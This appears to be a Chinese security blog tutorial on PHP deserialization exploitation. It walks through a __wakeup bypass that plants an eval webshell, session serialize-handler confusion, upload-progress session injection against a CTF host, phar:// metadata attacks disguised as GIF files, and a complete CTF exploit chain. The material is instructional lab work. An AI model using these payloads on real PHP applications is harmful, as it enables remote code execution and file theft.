PHP反序列化利用

反序列化只会进行一次,不会对内部序列化数据再进行反序列化

理解

序列化函数:serialize() 把变量和它们的值编码成文本形式

反序列化函数:unserialize() 恢复原先变量

举例

1
2
3
4
5
<?php
$test='';
$test=array("user"=>1,"pass"=>1);
echo var_dump(serialize($test));
?>

结果如下:

1
string'a : 2 :{s : 4 : "user" ; i : 1 ; s : 4 : "pass" ; i : 1 ;}'

a代表array,s代表string,b代表bool,而数字代表个数/长度

魔法函数

1
2
3
4
5
6
7
8
9
10
11
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

魔法函数漏洞

弱类型

1
2
3
4
$unserialize_str = $_POST['password']; 
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' &&$data_unserialize['pass']=='???')
print_r($flag);

构造:

1
2
3
4
<?php
$a = array('user'=>true,'pass'=>true);
echo serialize($a);
?>

__wakeup() 方法绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class test{
var $a = "test";
function __destruct(){
$fp = fopen("D:\phpStudy\PHPTutorial\WWW\test\shell.php","w");
fputs($fp,$this->a);
fclose($fp);
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
$hpdoger = $_POST['hpdoger'];
$clan = unserialize($hpdoger);
?>

代码中_wakeup()将$a值赋空,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 然后绕过正则的话我们可以在对象长度前加一个 +

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class A{
var $a = '<?php eval($_POST["hp"]);?>';
function __destruct(){
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
$a = new A();
echo serialize($a);
?>
#O:1:"A":1:{s:1:"a";s:27:"<?php eval($_POST["hp"]);?>";}
改为:
#O:1:"A":2:{s:1:"a";s:27:"<?php eval($_POST["hp"]);?>";}

Session反序列化漏洞

相关配置

1
2
3
session.save_path=""   --设置session的存储路径,默认在/tmp
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字。默认使用php

序列化三种格式

1
2
3
4
5
| 处理器 | 对应的存储格式 |
| ————————— |:——————————-|
| php_binary | 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值 |
| php | 键名+竖线+经过serialize()函数反序列处理的值 |
|php_serialize |serialize()函数反序列处理数组方式|

举例

session.php

1
2
3
4
5
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['hpdoger'] = $_GET['hpdoger'];
?>

test.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
ini_set('session.serialize_handler','php');
session_start();

class hpdoger{
var $a;

function __destruct(){
$fp = fopen("D:\phpStudy\PHPTutorial\WWW\test\shell.php","w");
fputs($fp,$this->a);
fclose($fp);
}
}

?>

首先访问session.php页面,使用php_serialize序列化hpdoger参数,构造如下:

1
2
3
4
5
6
7
8
<?php
class hpdoger{
var $a = "<?php phpinfo();?>";
}
$a = new hpdoger();
echo serialize($a);

?>

输出结果:

1
O:7:"hpdoger":1:{s:1:"a";s:18:"<?php phpinfo();?>";}

payload:

1
http://127.0.0.1/session.php?hpdoger=|O:7:"hpdoger":1:{s:1:"a";s:18:"<?php info();?>";}

/tmp目录下生成的session文件内容:

1
a:1:{s:7:"hpdoger";s:52:"|O:7:"hpdoger":1:{s:1:"a";s:17:"<?php phpinfo()?>";}";}

访问test.php时反序列化已存储的session,新的php处理方式会把“|”后的值当作KEY值再serialize(),相当于我们实例化了这个页面的hpdoger类,相当于执行:

1
2
$_SESSION['hpdoger'] = new hpdoger();
$_SESSION['hpdoger']->a = '<?php phpinfo()?>';

PHP_SESSION_UPLOAD_PROGRESS利用

ession.upload_progress.enabledOnsession.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.inisession.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据,我们由此来设置session。

举例

题目入口(http://web.jarvisoj.com:32784/index.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

题解

需要将mdzz变为可控制的值。代码中没找到用php_serialize添加session的方法。利用PHP_SESSION_UPLOAD_PROGRESSsession中写入数据,构造表单列出当前目录:

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="|O:5:"OowoO":1:{s:4:"mdzz";s:26:"print_r(scandir(__dir__));";}" />
<input type="file" name="file" />
<input type="submit" />
</form>

打印目录:

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

读取flag:

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

序列化数据

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'print_r(file_get_contents(/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php));';
}
}
$a = new OowoO();
echo serialize($a);
?>

phar伪协议触发php反序列化

参考

1
2
3
https://www.anquanke.com/post/id/159206#h2-10
https://www.freebuf.com/column/182293.html
https://paper.seebug.org/680/

利用条件

1
2
3
4
php手册(https://secure.php.net/phar)
1.向目标站点上传包含攻击payload的phar归档文件
2.能够将包含被上传文件的phar://xxx.jpg/test.txt路径传入到文件操作函数中。
3.使用Phar类里的方法,必须将phar.readonly配置项配置为0或Off

利用方式

php环境编译生成一个phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
class not_useful{
var $file = "<?php phpinfo() ?>";
}

@unlink("hpdoger.phar");
$test = new not_useful();
$phar = new Phar("hpdoger.phar");

$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 增加gif文件头
$phar->setMetadata($test);
$phar->addFromString("test.txt","test");

$phar->stopBuffering();
?>
将生成的phar文件后缀改为gif.
使用phar协议进行反序列化操作:
phar://hpdoger.gif/test.txt

可利用文件函数

1
fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile、md5_file、filesize

文件头

1
2
3
4
5
类型	标识
JPEG 头标识ff d8 ,结束标识ff d9
PNG 头标识89 50 4E 47 0D 0A 1A 0A
GIF 头标识(6 bytes) 47 49 46 38 39(37) 61 GIF89(7)a
BMP 头标识(2 bytes) 42 4D BM

影响函数

1
2
3
4
5
列表					
file_get_contents file_put_contents() file() file_exists() is_file() unlink()
fopen() read_file() is_dir() is_link() parse_ini_file() copy()
stat() fileatime() filectime() filegroup() fileinode() filemtime()
fileowner() fileperms() is_executable() is_readable() is_writable() is_writeable()

一道CTF举例

题目如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php  
@error_reporting(1);
include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}

class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}

class sec
{
function read()
{
return "it's so sec~~";
}
}

if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
}
else
{
highlight_file("./index.php");
}
?>

分析

只要令$this->nice->aaa === $this->nice->bbb即可读取文件,使bbbaaa动态变化,给amazing赋值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php  
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new cool;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}

class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}
$a = new baby;
$a->bbb =&$a->aaa;
echo urlencode(serialize($a));
?>

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php  
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new cool;
}
function __toString()
{
if (isset($this->skyobj))
{
return $this->skyobj->read();
}
}
}
class cool
{
public $filename='./flag.php';
public $nice;
public $amzing='O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D';
}
$a = new baby();
// $a->bbb =&$a->aaa;
echo urlencode(serialize($a));
?>

参考

反序列化漏洞与扩展攻击面的一些文章:

1
2
3
4
5

1. [【技术分享】PHP反序列化漏洞](https://www.anquanke.com/post/id/86452)
2. [四个实例递进php反序列化漏洞理解](https://www.anquanke.com/post/id/159206)
3. [PHP反序列化漏洞的新攻击面](https://www.freebuf.com/column/182293.html)
4. [利用 phar 拓展 php 反序列化漏洞攻击面](https://paper.seebug.org/680/)
Author: Sys71m
Link: https://www.sys71m.top/2018/04/02/PHP反序列化利用/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.